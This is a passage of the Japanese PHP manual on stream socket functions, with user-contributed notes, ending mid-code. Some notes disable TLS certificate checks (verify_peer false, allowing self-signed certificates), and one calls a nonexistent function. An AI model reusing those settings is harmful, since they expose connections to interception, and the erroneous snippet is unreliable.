例1 stream_set_write_buffer() の例

次の例は、バッファされていないストリームを stream_set_write_buffer() によって作成する方法を示したものです。

<?php
$fp = fopen($file, "w");
if ($fp) {
  if (stream_set_write_buffer($fp, 0) !== 0) {
      // バッファリングの変更に失敗しました
  }
  fwrite($fp, $output);
  fclose($fp);
}
?>

参考

  • fopen() - ファイルまたは URL をオープンする
  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

kevin at bonnevillessei dot com 20-May-2018 12:15
Trying to use stream_set_write_buffer on a local file will always fail according to this note from 2003.

http://grokbase.com/t/php/php-internals/0351gp6xtn/stream-set-write-buffer-does-not-work

Example:

$fp = fopen("localfile.txt", "w");
if (stream_set_write_buffer($fp, 0) !== 0) {
    // changing the buffering failed is always true on local files
}


stream_socket_server で作られたソケットの接続を受け入れる

  • ≪ stream_set_write_buffer
  • stream_socket_client ≫
  • PHP Manual
  • ストリーム 関数
  • stream_socket_server で作られたソケットの接続を受け入れる

stream_socket_accept

(PHP 5, PHP 7, PHP 8)

stream_socket_accept — stream_socket_server() で作られたソケットの接続を受け入れる

説明

stream_socket_accept ( resource $server_socket , float $timeout = ini_get("default_socket_timeout") , string &$peername = ? ) : resource|false

以前に stream_socket_server() によって作られたソケットの接続を受け入れます。

パラメータ

server_socket

接続元からの接続を受け付けるサーバーソケット。

timeout

デフォルトのソケット接続待ちタイムアウトを上書きします。 時間は秒単位で指定します。

peername

接続元のクライアントの名前 (アドレス) が含まれていて、 選択したトランスポートで有効であった場合に、それを設定します。

注意:

後で stream_socket_get_name() を使用して指定することもできます。

返り値

受け付けたソケット接続へのストリームを返します。失敗した場合に false を返します。

注意

警告

この関数は UDP サーバーソケットとともに使用すべきではありません。 代わりに stream_socket_recvfrom() および stream_socket_sendto() を使用します。

参考

  • stream_socket_server() - インターネットドメインまたは Unix ドメインのサーバーソケットを作成する
  • stream_socket_get_name() - ローカルまたはリモートのソケットの名前を取得する
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • stream_set_timeout() - ストリームにタイムアウトを設定する
  • fgets() - ファイルポインタから 1 行取得する
  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • fwrite() - バイナリセーフなファイル書き込み処理
  • fclose() - オープンされたファイルポインタをクローズする
  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる
  • cURL 関数

User Contributed Notes

Alex Nordenheim 17-Dec-2014 10:37
Note that if you use 0 as timeout, the connection will timeout right away.
Andy at txtNation dot com 10-Oct-2011 09:13
To check if there's a new connection waiting, without blocking, or (when using non-blocking mode) without notices), you can use stream_accept (as opposed to socket_select).

<?php

    class GenericClass {

        protected $resSocket=null;

        function acceptConnections() {

            # check that we still have a resource

            if(is_resource($this->resSocket)) {

                $arrRead=array($this->resSocket);

                $arrWrite=array();

                /** @warning Passing $arrRead,$arrWrite by reference */
                if(stream_select($arrRead,$arrWrite,$arrWrite,0)) {

                    $resConnection=stream_socket_accept($this->resSocket,0);

                    # ... other stuff here
                }
            }
        }
    }
?>
fred dot hakeem dot smith at muslimamerica dot bob dot net 02-Jan-2008 12:33
To whom it may concern, and it may concern you greatly, stream_set_blocking has no effect on stream_socket_accept.
If you want it to return right away, connection or not, use 0 for the timeout parameter.
mickael dot bailly at free dot fr 18-Jul-2006 03:10
this function, compared to the function socket_accept, got an extra argument "timeout".
To make this function wait indefinitelly to incoming connections, just as in socket_accept, set timeout to -1. It works for me with PHP 5.0.4.
leleu256NOSPAM at hotmail dot com 02-Nov-2004 05:58
This code could be very helpfull...

The following code is for the "server". It listen for a message until CTRL-C

<?php
while (true)
{
// disconnected every 5 seconds...
receive_message('127.0.0.1','85',5);
}

function receive_message($ipServer,$portNumber,$nbSecondsIdle)
{
  // creating the socket...
  $socket = stream_socket_server('tcp://'.$ipServer.':'.$portNumber, $errno, $errstr);
  if (!$socket)
  {
    echo "$errstr ($errno)<br />\n";
  }
  else
   {
    // while there is connection, i'll receive it... if I didn't receive a message within $nbSecondsIdle seconds, the following function will stop.
    while ($conn = @stream_socket_accept($socket,$nbSecondsIdle))
    {
     $message= fread($conn, 1024);
     echo 'I have received that : '.$message;
     fputs ($conn, "OK\n");
     fclose ($conn);
    }
    fclose($socket);
  }
}
?>

The following code is for the "client". It send a message, and read the respons...

<?php

send_message('127.0.0.1','85','Message to send...');

function send_message($ipServer,$portServer,$message)
{
  $fp = stream_socket_client("tcp://$ipServer:$portServer", $errno, $errstr);
  if (!$fp)
  {
     echo "ERREUR : $errno - $errstr<br />\n";
  }
  else
  {
     fwrite($fp,"$message\n");
     $response =  fread($fp, 4);
     if ($response != "OK\n")
        {echo 'The command couldn\'t be executed...\ncause :'.$response;}
     else
        {echo 'Execution successfull...';}
     fclose($fp);
  }
}
?>


インターネットドメインまたは Unix ドメインのソケット接続を開く

  • ≪ stream_socket_accept
  • stream_socket_enable_crypto ≫
  • PHP Manual
  • ストリーム 関数
  • インターネットドメインまたは Unix ドメインのソケット接続を開く

stream_socket_client

(PHP 5, PHP 7, PHP 8)

stream_socket_client — インターネットドメインまたは Unix ドメインのソケット接続を開く

説明

stream_socket_client ( string $remote_socket , int &$errno = ? , string &$errstr = ? , float $timeout = ini_get("default_socket_timeout") , int $flags = STREAM_CLIENT_CONNECT , resource $context = ? ) : resource

remote_socket で指定された接続先との、 ストリームまたはデータグラム接続を確立します。 作成されるソケットのタイプは、[トランスポート]://[ターゲット] という形式の URL フォーマットによって指定された トランスポートによって決定されます。 TCP や UDP といったインターネットドメインのソケット (AF_INET) には、remote_socket パラメータの ターゲット の部分は、ホスト名または IP アドレスと、 それに続くコロンで区切られたポート番号から構成されていなければなりません。 Unix ドメインのソケットの場合は、ターゲット の部分は、ファイルシステムにおけるソケットのファイルを指定しなくては いけません。

注意:

ストリームはデフォルトではブロックモードで開かれますが、 stream_set_blocking() を使うことで非ブロックモードに 変更することができます。

パラメータ

remote_socket

接続するソケットのアドレス。

errno

接続に失敗した場合にシステムレベルのエラー番号が設定されます。

errstr

接続に失敗した場合にシステムレベルのエラーメッセージが設定されます。

timeout

connect() システムコールがタイムアウトとなるまでの秒数。

注意: このパラメータが適用されるのは、非同期通信を試みていない場合のみです。

注意:

ソケット上のデータの読み書きに関してタイムアウトを設定する必要がある場合は、 stream_set_timeout() を使ってください。 stream_socket_client() に渡される timeout は、ソケットの接続時にのみ適用されます。

flags

接続設定フラグの任意の組み合わせを指定できるビットフィールドです。 現在、接続設定フラグとして選択できる値は、 STREAM_CLIENT_CONNECT（デフォルト）、 STREAM_CLIENT_ASYNC_CONNECT と STREAM_CLIENT_PERSISTENT のみです。

context

stream_context_create() で作成した有効なコンテキストリソース。

返り値

成功した場合に、
fgets(), fgetss(),
fwrite(), fclose(),
feof() といった、ファイル関数と共に使うことのできるストリームリソースを返します。

エラー / 例外

失敗した場合は、errno と errstr に システムレベルの connect() 関数の実行時に発生したシステムレベルのエラーを表す値を返します。 もし、errno に返された値が 0 で、かつ、 この関数が false を返した時は、 connect() システムコールの前に何らかのエラーが 発生したことを示しています。これは、多くの場合、ソケットの初期化 に失敗したことで起こります。errno と errstr パラメータは常に参照渡しされることに 留意してください。

例

例1 stream_socket_client() の例

<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
    while (!feof($fp)) {
        echo fgets($fp, 1024);
    }
    fclose($fp);
}
?>

例2 UDP 接続の使用

ローカルホスト上で動いている UDP サービスの "daytime" (ポート 13) で日時の情報を取得します。

<?php
$fp = stream_socket_client("udp://127.0.0.1:13", $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

注意

警告

UDP ソケットは、リモートホストに到達できなくても エラーを発生せず、開いているかような状態になることがありす。 このエラーは、実際にソケットに対して、読み込みや書き込み動作を 行ってみないと判断できません。原因としては、UDP が非接続型の プロトコルであることが挙げられます。つまり、実際にデータを 送受信する段階になるまで、OS の側では接続を確立しようとしないという ことです。

注意: 数値で IPv6 アドレスを指定するときは、 (例 fe80::1) アドレスを角カッコでくくらなくてはなりません。たとえば、 tcp://[fe80::1]:80.

注意:

環境により、Unix ドメインや接続タイムアウトが利用できない場合があります。 有効なトランスポートのリストは、stream_get_transports() で取得できます。組み込むのポートの一覧については、 サポートされるソケットトランスポートのリスト を参照ください。

参考

  • stream_socket_server() - インターネットドメインまたは Unix ドメインのサーバーソケットを作成する
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • stream_set_timeout() - ストリームにタイムアウトを設定する
  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う
  • fgets() - ファイルポインタから 1 行取得する
  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • fwrite() - バイナリセーフなファイル書き込み処理
  • fclose() - オープンされたファイルポインタをクローズする
  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる
  • cURL 関数

User Contributed Notes

Daniel 12-Sep-2014 08:29
If you only need to check a stream for data, you can use stream_get_content and strtr function. stream_get_content
reads the remainder of a stream into a string.
<?php

$addr = gethostbyname('www.example.com');

$client = stream_socket_client("tcp://$addr:80", $errno, $errorMessage);

 if($client === false){
                throw new UnexpectedValueException("Failed to connect: $errorMessage");
        }

        fwrite($client, "GET / HTTP/1.0\r\nhost:    'www.example.com'\r\nAccept: */*\r\n\r\n");

$variable = stream_get_content($client);

if(strstr($variable,'data your looking for'))
       echo "The data you are looking for is here";
else
       echo "data not found";

fclose($client);
?>
Vasil Rangelov a.k.a. boen_robot 14-Aug-2011 01:11
The remote_socket argument, in its end (well... after the port), can also contain a "/" followed by a unique identifier. This is especially useful if you want to create multiple persistent connections to the same transport://host:port combo.

Example:
<?php
$socket = stream_socket_client('tcp://mysql.example.com:3306/root', $errorno, $errorstr, $timeout, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT);
?>

Note that while (p)fsockopen() follows a similar scheme, it doesn't have this particular feature.
bisho at onirica dot com 29-Mar-2010 09:04
stream_socket_client is much easier and faster to use to direct sockets, because you can use directly fwrite / fget / fclose functions, but I find hard to find how to connect to a UNIX domain socket. The URL to use is "udg:///path/to/socket".

For example, to log to the log socket (like syslog), you can use:

<?php
$socket = stream_socket_client('udg:///dev/log',
        $errorno,
        $errorstr,
        $timeout);
fwrite($socket, ...);
?>
nicholas at nicholaswilliams dot net 28-Oct-2008 05:08
For those wanting to use stream_socket_client() to connect to a local UNIX socket who can't find documentation on how to do it, here's a (rough) example:

<?php

$sock = stream_socket_client('unix:///full/path/to/my/socket.sock', $errno, $errstr);

fwrite($sock, 'SOME COMMAND'."\r\n");

echo fread($sock, 4096)."\n";

fclose($sock);

?>
robin at gareus dot org 26-Aug-2008 03:34
I came here since fsockopen() does not support any SSL certificate checking in PHP5.

while curl is nice, I use stream_socket_client() to make XML-RPC POST requests via HTTPS and since I have not found any PHP code around that does this, I'll attach an example that also includes HTTP-Digest Auth (eg. trac's WikiRPCInterface2):

<?php
#################################################
# $host: hostname ; eg 'example.org'
# $path: request' eg '/index.php?id=123'
# $data_to_send : data to POST after the HTTP header.
#
# if $opts is an  empty array() a standard  HTTP to port 80 request is performed.
#
# set auth['type']='basic' to use plain-text auth,
# digest-auth will be handled automatically if $auth['username'] is set and a 401
# status is encountered. - use auth['type']='nodigest' to override.
#
##
function httpPost($host, $path, $data_to_send,
                  $opts=array('cert'=>"", 'headers'=>0, 'transport' =>'ssl', 'port'=>443),
                  $auth=array('username'=>"", 'password'=>"", 'type'=>"")
                 ) {
  $transport=''; $port=80;
  if (!empty($opts['transport'])) $transport=$opts['transport'];
  if (!empty($opts['port'])) $port=$opts['port'];
  $remote=$transport.'://'.$host.':'.$port;

  $context = stream_context_create();
  $result = stream_context_set_option($context, 'ssl', 'verify_host', true);
  if (!empty($opts['cert'])) {
    $result = stream_context_set_option($context, 'ssl', 'cafile', $opts['cert']);
    $result = stream_context_set_option($context, 'ssl', 'verify_peer', true);
  } else {
    $result = stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
  }
  $fp = stream_socket_client($remote, $err, $errstr, 60, STREAM_CLIENT_CONNECT, $context);

  if (!$fp) {
    trigger_error('httpPost error: '.$errstr);
    return NULL;
  }

  $req='';
  $req.="POST $path HTTP/1.1\r\n";
  $req.="Host: $host\r\n";
  if ($auth['type']=='basic' && !empty($auth['username'])) {
    $req.="Authorization: Basic ";
    $req.=base64_encode($auth['username'].':'.$auth['password'])."\r\n";
  }
  elseif ($auth['type']=='digest' && !empty($auth['username'])) {
    $req.='Authorization: Digest ';
    foreach ($auth as $k => $v) {
      if (empty($k) || empty($v)) continue;
      if ($k=='password') continue;
      $req.=$k.'="'.$v.'", ';
    }
    $req.="\r\n";
  }
  $req.="Content-type: text/xml\r\n";
  $req.='Content-length: '. strlen($data_to_send) ."\r\n";
  $req.="Connection: close\r\n\r\n";

  fputs($fp, $req);
  fputs($fp, $data_to_send);

  while(!feof($fp)) { $res .= fgets($fp, 128); }
  fclose($fp);

  if ($auth['type']!='nodigest'
        && !empty($auth['username'])
        && $auth['type']!='digest' # prev. digest AUTH failed.
        && preg_match("/^HTTP\/[0-9\.]* 401 /", $res)) {
    if (1 == preg_match("/WWW-Authenticate: Digest ([^\n\r]*)\r\n/Us", $res, $matches)) {
      foreach (split(",", $matches[1]) as $i) {
        $ii=split("=",trim($i),2);
        if (!empty($ii[1]) && !empty($ii[0])) {
          $auth[$ii[0]]=preg_replace("/^\"/",'', preg_replace("/\"$/",'', $ii[1]));
        }
      }
      $auth['type']='digest';
      $auth['uri']='https://'.$host.$path;
      $auth['cnonce']=randomNonce();
      $auth['nc']=1;
      $a1=md5($auth['username'].':'.$auth['realm'].':'.$auth['password']);
      $a2=md5('POST'.':'.$auth['uri']);
      $auth['response']=md5($a1.':'
                           .$auth['nonce'].':'.$auth['nc'].':'
                           .$auth['cnonce'].':'.$auth['qop'].':'.$a2);
      return httpPost($host, $path, $data_to_send, $opts, $auth);
    }
  }

  if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^\r\n]*)/", $res, $matches)) {
    trigger_error('httpPost: invalid HTTP reply.');
    return NULL;
  }

  if ($matches[1] != '200') {
    trigger_error('httpPost: HTTP error: '.$matches[1].' '.$matches[2]);
    return NULL;
  }

  if (!$opts['headers']) {
    $res=preg_replace("/^.*\r\n\r\n/Us",'',$res);
  }
  return $res;
}
?>
wbeaver at afilias dot info 31-Aug-2007 02:06
# Some may find it useful to know that your caCert
# must be in pem format, and that PHP seems to like
# your key, cert, and cacert pem's to be concatenated
# in a single file (I suffered various "unknown chain"
# errors, otherwise)
#
# So, (linux users), concat your components as follows:
# (where current working dir is dir where
# cert components are stored)
#
# cat key.pem >certchain.pem
# cat cert.pem >>certchain.pem
# cat cacert.pem >>certchain.pem
#
# Then, the php....
##################################

<?php

$host = 'host.domain.tld';
$port = 1234;
$timeout = 10;

$cert = '/path/to/your/certchain/certchain.pem';
$context = stream_context_create(array('ssl'=>array('local_cert'=> $cert,
)));

if ($fp = stream_socket_client('ssl://'.$host.':'.$port, $errno, $errstr, 30,
        STREAM_CLIENT_CONNECT, $context)) {
    fwrite($fp, "\n");
    echo fread($fp,8192);
    fclose($fp);
} else {
   echo "ERROR: $errno - $errstr<br />\n";
}

?>


接続済みのソケットについて暗号化の on/off を切り替える

  • ≪ stream_socket_client
  • stream_socket_get_name ≫
  • PHP Manual
  • ストリーム 関数
  • 接続済みのソケットについて暗号化の on/off を切り替える

stream_socket_enable_crypto

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_socket_enable_crypto — 接続済みのソケットについて暗号化の on/off を切り替える

説明

stream_socket_enable_crypto ( resource $stream , bool $enable , int $crypto_type = ? , resource $session_stream = ? ) : mixed

ストリームの暗号化を有効あるいは無効にします。

暗号化設定が確立されると、それ以降は enable パラメータに true あるいは false を指定することで暗号化の on/off を動的に切り替えられます。

パラメータ

stream

ストリームリソース。

enable

ストリームの暗号化を有効にするか無効にするか。

crypto_type

ストリームの暗号化の設定。以下の方法が使用できます。

  • STREAM_CRYPTO_METHOD_SSLv2_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv3_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv23_CLIENT
  • STREAM_CRYPTO_METHOD_ANY_CLIENT
  • STREAM_CRYPTO_METHOD_TLS_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv2_SERVER
  • STREAM_CRYPTO_METHOD_SSLv3_SERVER
  • STREAM_CRYPTO_METHOD_SSLv23_SERVER
  • STREAM_CRYPTO_METHOD_ANY_SERVER
  • STREAM_CRYPTO_METHOD_TLS_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_0_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_1_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_2_SERVER

省略した場合は、ストリームの SSL コンテキストのオプション crypto_method を利用します。

session_stream

ストリームで session_stream からの設定を送信します。

返り値

成功した場合に true、ネゴシエーションに失敗した場合に false、 十分なデータがないために再試行が必要な場合（非ブロックモード時のみ） に 0 を返します。

変更履歴

バージョン | 説明
5.6.0 | STREAM_CRYPTO_METHOD_ANY_CLIENT, STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT, STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT, STREAM_CRYPTO_METHOD_ANY_SERVER, STREAM_CRYPTO_METHOD_TLSv1_0_SERVER, STREAM_CRYPTO_METHOD_TLSv1_1_SERVER, STREAM_CRYPTO_METHOD_TLSv1_2_SERVER が追加されました。
5.6.0 | crypto_type がオプションになりました。

例

例1 stream_socket_enable_crypto() の例

<?php
$fp = stream_socket_client("tcp://myproto.example.com:31337", $errno, $errstr, 30);
if (!$fp) {
    die("接続できません: $errstr ($errno)");
}

/* ログイン時の暗号化を有効にします */
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
fwrite($fp, "USER god\r\n");
fwrite($fp, "PASS secret\r\n");

/* それ以外では暗号化を無効にします */
stream_socket_enable_crypto($fp, false);

while ($motd = fgets($fp)) {
    echo $motd;
}

fclose($fp);
?>

上の例の出力は、 たとえば以下のようになります。

参考

  • OpenSSL 関数
    •

  • サポートされるソケットトランスポートのリスト
    •

User Contributed Notes

   cgy at anymacro dot com
   19-Jul-2018 09:42

$context = stream_context_create();

stream_context_set_option($context, 'ssl', 'allow_self_signed', false);

stream_context_set_option($context, 'ssl', 'verify_peer', false);

stream_context_set_option($context, 'ssl', 'verify_peer_name', false);

$fp = stream_socket_client("unix:///tmp/ssl.sock", $errno, $errstr, 30,STREAM_CLIENT_ASYNC_CONNECT | STREAM_CLIENT_CONNECT,$context);

stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

??提示：

PHP Warning:  stream_socket_enable_crypto(): this stream does not support SSL/crypto

   bobe at webnaute dot net
   05-Apr-2016 06:35

Constants added in PHP 5.6 :

STREAM_CRYPTO_METHOD_ANY_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

STREAM_CRYPTO_METHOD_ANY_SERVER

STREAM_CRYPTO_METHOD_TLSv1_0_SERVER

STREAM_CRYPTO_METHOD_TLSv1_1_SERVER

STREAM_CRYPTO_METHOD_TLSv1_2_SERVER

Now, be careful because since PHP 5.6.7, STREAM_CRYPTO_METHOD_TLS_CLIENT (same for _SERVER) no longer means any tls version but tls 1.0 only (for "backward compatibility"...).

Before PHP 5.6.7 :

STREAM_CRYPTO_METHOD_SSLv23_CLIENT = STREAM_CRYPTO_METHOD_SSLv2_CLIENT|STREAM_CRYPTO_METHOD_SSLv3_CLIENT

STREAM_CRYPTO_METHOD_TLS_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

PHP >= 5.6.7

STREAM_CRYPTO_METHOD_SSLv23_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

STREAM_CRYPTO_METHOD_TLS_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT

PHP bug : https://bugs.php.net/bug.php?id=69195

Commit : https://github.com/php/php-src/commit/10bc5fd4c4c8e1dd57bd911b086e9872a56300a0

STREAM_CRYPTO_METHOD_SSLv23_CLIENT is not safe to use because before php 5.6.7, it means sslv2 or sslv3. So, you should do this :

<?php

$crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {

    $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;

    $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;

}

stream_socket_enable_crypto($socket, true, $crypto_method);

?>

   bobe at webnaute dot net
   20-Mar-2015 04:54

There is an error in the description of the third argument:

"If omitted, the crypto_type context option on the stream's SSL context will be used instead."

The name of the context option is "crypto_method", NOT "crypto_type" which is just the name of the argument.

   mark at kinoko dot fr
   06-Nov-2007 11:00

Just to avoid letting you search everywhere why your code doesn't work when using this function to enable crypto as a server, and when using TLS, you have to put the certificate in the "ssl" context, even if you start a TLS, SSLv3, etc.. server.

I had some troubles because of that...

   tigger (AT) tiggerswelt d0t net
   30-May-2007 03:15

As already mentioned above:

stream_socket_enable_crypto is likely to fail/return zero if the socket is in non-blocking mode.

You may either wait some seconds until all neccessary data has arrived or switch temporary to blocking mode:

<?PHP

  stream_set_blocking ($fd, true);

  stream_socket_enable_crypto ($fd, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

  stream_set_blocking ($fd, false);

?>

This works very fine for me ;-)


ローカルまたはリモートのソケットの名前を取得する

  • ≪ stream_socket_enable_crypto
  • stream_socket_pair ≫
  • PHP Manual
  • ストリーム 関数
  • ローカルまたはリモートのソケットの名前を取得する

stream_socket_get_name

(PHP 5, PHP 7, PHP 8)

stream_socket_get_name — ローカルまたはリモートのソケットの名前を取得する

説明

stream_socket_get_name ( resource $handle , bool $want_peer ) : string

指定したソケット接続のローカルまたはリモートでの名前を返します。

パラメータ

handle

名前を取得したいソケット。

want_peer

true に設定するとリモートでのソケットの名前を返し、 false に設定するとローカルでのソケットの名前を返します。

返り値

ソケットの名前を返します。

参考

  • stream_socket_accept() - stream_socket_server で作られたソケットの接続を受け入れる

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 08:29
Surprisingly, on my Linux system, when connected to a localhost service using IPV4, stream_get_socket_name returns ::1 as the peer or local address. One would expect to get localhost or 127.0.0.1 but the ::1 IPV6 localhost is returned instead.


接続された、区別できないソケットストリームの組を作成する

  • ≪ stream_socket_get_name
  • stream_socket_recvfrom ≫
  • PHP Manual
  • ストリーム 関数
  • 接続された、区別できないソケットストリームの組を作成する

stream_socket_pair

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_socket_pair — 接続された、区別できないソケットストリームの組を作成する

説明

stream_socket_pair ( int $domain , int $type , int $protocol ) : array|false

stream_socket_pair() は、互いに接続されており区別できない ソケットストリームの組を作成します。この関数は、一般に IPC （Inter-Process Communication: プロセス間通信）で使用します。

パラメータ

domain

使用するプロトコルファミリー。STREAM_PF_INET、 STREAM_PF_INET6 あるいは STREAM_PF_UNIX

type

使用する接続の型。 STREAM_SOCK_DGRAM、 STREAM_SOCK_RAW、 STREAM_SOCK_RDM、 STREAM_SOCK_SEQPACKET あるいは STREAM_SOCK_STREAM

protocol

使用するプロトコル。STREAM_IPPROTO_ICMP、 STREAM_IPPROTO_IP、 STREAM_IPPROTO_RAW、 STREAM_IPPROTO_TCP あるいは STREAM_IPPROTO_UDP

注意: 各定数についての詳細な情報は ストリーム定数の一覧 を参照ください。

返り値

成功した場合に 2 つのソケットリソースの配列、失敗した場合に false を返します。

例

例1 stream_socket_pair() の例

この例では、プロセス間通信に stream_socket_pair() を使用する基本的な方法を示します。

<?php

$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid     = pcntl_fork();

if ($pid == -1) {
     die('フォークできません');

} else if ($pid) {
     /* 親プロセス */
    fclose($sockets[0]);

    fwrite($sockets[1], "子プロセスの PID: $pid\n");
    echo fgets($sockets[1]);

    fclose($sockets[1]);

} else {
    /* 子プロセス */
    fclose($sockets[1]);

    fwrite($sockets[0], "子プロセスからのメッセージ\n");
    echo fgets($sockets[0]);

    fclose($sockets[0]);
}

?>

上の例の出力は、 たとえば以下のようになります。

子プロセスの PID: 1378
子プロセスからのメッセージ

User Contributed Notes

There are no user contributed notes for this page.


接続されているかどうかにかかわらず、ソケットからのデータを受信する

  • ≪ stream_socket_pair
  • stream_socket_sendto ≫
  • PHP Manual
  • ストリーム 関数
  • 接続されているかどうかにかかわらず、ソケットからのデータを受信する

stream_socket_recvfrom

(PHP 5, PHP 7, PHP 8)

stream_socket_recvfrom — 接続されているかどうかにかかわらず、ソケットからのデータを受信する

説明

stream_socket_recvfrom ( resource $socket , int $length , int $flags = 0 , string &$address = ? ) : string

stream_socket_recvfrom() は、 リモートソケットから最大 length バイトのデータを 受け取ります。

パラメータ

socket

リモートソケット。

length

socket から受信するバイト数。

flags

flags は以下の値の組み合わせです。

flags でとりうる値
STREAM_OOB | OOB (out-of-band) データを処理します。
STREAM_PEEK | ソケットからデータを取得しますが、バッファを消費しません。 fread() あるいは stream_socket_recvfrom() を続けてコールした 際には、同じデータが読み込まれます。

address

address が指定された場合、 そこにはリモートソケットのアドレスが保存されます。

返り値

読み込んだデータを文字列で返します。

例

例1 stream_socket_recvfrom() の例

<?php
/* localhost のポート 1234 へのサーバーソケットをオープンします */
$server = stream_socket_server('tcp://127.0.0.1:1234');

/* 接続を受け付けます */
$socket = stream_socket_accept($server);

/* OOB データのパケットを取得します（1500 は典型的な MTU のサイズです） */
echo "Received Out-Of-Band: '" . stream_socket_recvfrom($socket, 1500, STREAM_OOB) . "'\n";

/* 通常の帯域内のデータを読み込みますが、バッファを消費しません */
echo "Data: '" . stream_socket_recvfrom($socket, 1500, STREAM_PEEK) . "'\n";

/* 同じパケットをもう一度読み込みます。今度はバッファからそれを削除します */
echo "Data: '" . stream_socket_recvfrom($socket, 1500) . "'\n";

/* ソケットを閉じます */
fclose($socket);
fclose($server);
?>

注意

注意:

受信したメッセージが length パラメータより 長かった場合、ソケットの型によっては（例えば UDP など）超過分の バイトデータが捨てられてしまう可能性があります。

注意:

バッファベースのストリーム関数 (fread() あるいは
stream_get_line() など) をコールした後に
ソケットベースのストリームで stream_socket_recvfrom()
をコールすると、ストリームバッファを経由せず、データをソケットから
直接読み込みます。

参考

  • stream_socket_sendto() - 接続されているかどうかにかかわらず、ソケットにデータを送信する
  • stream_socket_client() - インターネットドメインまたは Unix ドメインのソケット接続を開く
  • stream_socket_server() - インターネットドメインまたは Unix ドメインのサーバーソケットを作成する

User Contributed Notes

raat1979 at gmail dot com 07-Jul-2015 08:30
Basically there is currently no real way to determine what the position of the Out of band data is in the tcp/ip stream.

However, it seems that In my current environment (winsock: Windows / PHP 5.3.0) you do not peek beyond the OOB byte unless the buffer is empty
reads do read beyond the OOB data. (I'll check my linux box later)

You should be able to figure out the position of the OOB data by peeking and reading from the regular stream
although it would not be 100% reliable as we do read beyond the OOB data when nothing is in front of it.
depending on the high level protocol it might be possible
to handle the specific "no data in front of out-of-band data" case

<?php
echo "<pre>";
$sockets = stream_socket_pair(STREAM_PF_INET, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$reader=$sockets[0];
$writer=$sockets[1];

stream_socket_sendto($writer,"abc");
stream_socket_sendto($writer,"xyZ",STREAM_OOB); // ONLY THE LAST BYTE IS MARKED AS OOB DATA
stream_socket_sendto($writer,"def");

echo "\r\n";
echo "Test 1, Peeking beyond oob when the read buffer becomes empty\r\n";
echo "The data order is 'abcxyZdef'\r\n";
stream_select($r=array($reader), $w=array(), $x=array($reader),5);
echo "has regular:";var_dump(count($r)!==0);
echo "has oobData:";var_dump(count($x)!==0);
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:green'>Peek (1) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB|STREAM_PEEK)."</span>\r\n";
echo "<span style='color:black'>READ (4) regular:".stream_socket_recvfrom($reader,4)."</span>\r\n";
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:black'>READ (1) regular:".stream_socket_recvfrom($reader,1)."</span>\r\n";
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
// read the OOB data
echo "<span style='color:red'  >READ (9) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB)."</span>\r\n";

echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";

